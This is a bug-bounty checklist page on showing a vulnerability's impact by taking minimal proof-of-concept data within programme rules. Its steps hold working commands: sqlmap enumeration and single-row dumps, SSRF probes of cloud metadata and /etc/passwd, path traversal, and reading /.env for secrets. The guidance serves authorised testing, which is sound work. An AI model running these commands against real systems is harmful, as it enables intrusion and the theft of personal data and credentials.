Data Extraction & Impact Demonstration

Post-Exploitation MED v1.0.0 updated 2026-06-17

Safely demonstrate the impact of a vulnerability by extracting proof-of-concept data — PII samples, internal configs, source code — while staying within programme rules.

Tools

Machine-readable JSON available at:

https://reconatlas.pages.dev/api/checklists/data-exfiltration

// checklist steps

exfil-01

Assess data access scope

Determine what data is accessible through the vulnerability — database tables, file system, internal APIs — and prioritise extraction targets by sensitivity.

# For SQL injection: enumerate databases and tables
sqlmap -u 'https://target.com/search?q=test' --dbs --batch
# For SSRF: probe internal services
curl -sk 'https://target.com/fetch?url=http://169.254.169.254/latest/meta-data/'

Before extracting any data, review the programme's rules of engagement. Some programmes explicitly prohibit accessing real user data even through confirmed vulnerabilities.

exfil-02

Extract minimal proof-of-concept data

Retrieve exactly one record or a small sample to prove the vulnerability's impact without exfiltrating the entire dataset.

sqlmap -u 'https://target.com/search?q=test' -D appdb -T users --dump --start 1 --stop 1 --batch
curl -sk 'https://target.com/api/users/1' -H 'Authorization: Bearer <token>'

Extract the minimum data needed to demonstrate impact. One record with PII fields proves the point — a full database dump violates most programme rules and may have legal consequences.

exfil-03

Document database structure without full extraction

Map the database schema (table names, column names, row counts) to demonstrate the scope of access without dumping actual data.

sqlmap -u 'https://target.com/search?q=test' -D appdb --tables --batch
sqlmap -u 'https://target.com/search?q=test' -D appdb -T users --columns --batch
sqlmap -u 'https://target.com/search?q=test' -D appdb -T users --count --batch

A table named 'users' with columns 'email', 'password_hash', 'ssn' and 500,000 rows is powerful evidence of impact without exposing a single record.

exfil-04

Capture internal configuration files

Demonstrate access to internal configuration files that reveal infrastructure details, credentials, or API keys.

curl -sk 'https://target.com/api/debug/config'
curl -sk 'https://target.com/fetch?url=file:///etc/passwd'
curl -sk 'https://target.com/..%2f..%2f..%2fetc/passwd'

Redact any real credentials in your report screenshots. Demonstrate that access is possible without using the credentials to access further systems.

exfil-05

Demonstrate credential access without using them

If credentials are discovered (API keys, database passwords, AWS keys), document their existence and format without authenticating with them.

curl -sk 'https://target.com/.env' | grep -iE '(password|secret|key|token)' | sed 's/=.*/=REDACTED/'

Never use discovered credentials to access additional systems. Document the credential type, where it was found, and what it could provide access to — this is sufficient for a critical-severity report.

exfil-06

Calculate affected user count for impact assessment

Determine the number of affected users or records to quantify the vulnerability's impact for the report.

sqlmap -u 'https://target.com/search?q=test' -D appdb -T users --count --batch
curl -sk 'https://target.com/api/users?page=1&per_page=1' -H 'Authorization: Bearer <token>' | python3 -c "import sys,json; print(json.load(sys.stdin).get('total_count','unknown'))"

Include the affected user count in your report's impact section. "500,000 user records including email and hashed passwords are accessible" is far more compelling than "user data is exposed."

Overview

Demonstrating impact is the difference between a low-severity informational finding and a critical vulnerability report that commands a significant bounty. The goal is to prove what an attacker could access — not to actually exfiltrate data at scale.

Rules of engagement

Always check the programme’s policy on data access before extraction. Most programmes allow proof-of-concept access to demonstrate impact but prohibit bulk data exfiltration. When in doubt, document the access path and ask the programme for permission before proceeding.

Impact quantification

Triage teams respond to concrete numbers. Instead of “user data is exposed,” write “SQL injection in /search allows unauthenticated access to the users table containing 487,291 records with email, password_hash, and phone_number columns.”

// references

← All checklists JSON ↗